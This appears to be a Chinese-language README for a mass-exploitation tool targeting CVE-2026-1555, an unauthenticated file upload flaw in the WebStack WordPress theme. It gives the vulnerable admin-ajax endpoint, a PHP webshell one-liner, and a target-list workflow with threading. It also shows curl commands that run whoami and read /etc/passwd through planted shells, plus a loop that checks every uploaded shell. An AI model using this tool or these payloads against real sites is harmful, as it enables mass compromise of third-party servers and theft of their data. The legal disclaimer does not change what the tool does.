WebStack <= 1.2024 - 未认证任意文件上传
通过 img_upload AJAX 处理器实现未认证远程代码执行
注册在 WordPress admin-ajax.php 动作钩子 img_upload 下的 io_img_upload() 函数，在将上传文件写入服务器之前不进行任何文件类型或扩展名校验。由于该动作通过 wp_ajax_nopriv_ 注册且未进行认证检查，任何未认证的远程攻击者都可以 POST 任意文件（包括 PHP Webshell），服务器会将其保存到可公开访问的路径中，从而实现直接的远程代码执行。
存在漏洞的端点：
POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>
uploaded_paths.txtPython 版本： 3.8+
安装依赖：
pip install requests rich urllib3
创建一个名为 list.txt 的文件（或任何你喜欢的名称），每行一个目标：
https://target1.com
https://target2.com
http://target3.com
未包含
http://或https://的目标会自动添加http://前缀。
将你的 Webshell 放在与脚本相同的目录中。示例：
# Minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python CVE-2026-1555.py
运行后会提示你输入：
| 提示项 | 说明 |
|---|
每次上传成功都会打印：
╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful │
│ │
│ Target: https://target.com │
│ Shell URL: https://target.com/wp-content/... │
╰────────────────────────────────────────────────╯
所有成功的 Shell URL 都会被追加到：
uploaded_paths.txt
上传成功后，可通过浏览器或 curl 直接访问 Shell：
# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id
# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"
# Full command execution
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"
确切的上传路径会自动从服务器的 JSON 响应（
data.src）中提取并打印。
通过输出文件快速验证所有已上传的 Shell：
while read url; do
echo -n "[*] $url -> "
curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt
每次运行结束时都会打印一份汇总：
Summary 50/50 OK: 12 FAIL: 38
╭──────────────────────────────────────────╮
│ Shell URLs saved to uploaded_paths.txt │
╰──────────────────────────────────────────╯
CVE-2026-1555.py ← Main exploit script
list.txt ← Target URLs (one per line)
shell.php ← Payload to upload
uploaded_paths.txt ← Auto-generated: successful shell URLs
本工具仅限用于授权的渗透测试、安全研究和教育目的。
作者 — Nxploited — 对使用本工具进行的任何滥用、损害或非法活动不承担任何责任。使用本工具即表示你确认已获得对所有目标系统进行测试的明确书面授权。
对你不拥有或未经明确授权测试的系统进行未授权使用是非法的，并可能依据适用的网络犯罪法律受到刑事起诉。
请负责任地使用。你应对自己的行为承担全部责任。
👤 作者： Nxploited 📣 频道： Nxploited ZeroDay Hub 💬 Telegram： @KNxploited
| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-1555 |
| 受影响组件 | WebStack WordPress 主题 |
| 受影响版本 | 所有版本，最高至 1.2024（含） |
| 漏洞类型 | 任意文件上传 → 远程代码执行 |
| 所需认证 | ❌ 无需认证（未认证） |
| CVSS 评分 | 9.8 严重（CRITICAL） |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 默认值 |
|---|
Targets file | 目标列表文件路径 | list.txt |
Threads | 并发工作线程数 | 6 |
Local file to upload | 要上传的文件名（位于脚本目录） | shell.php |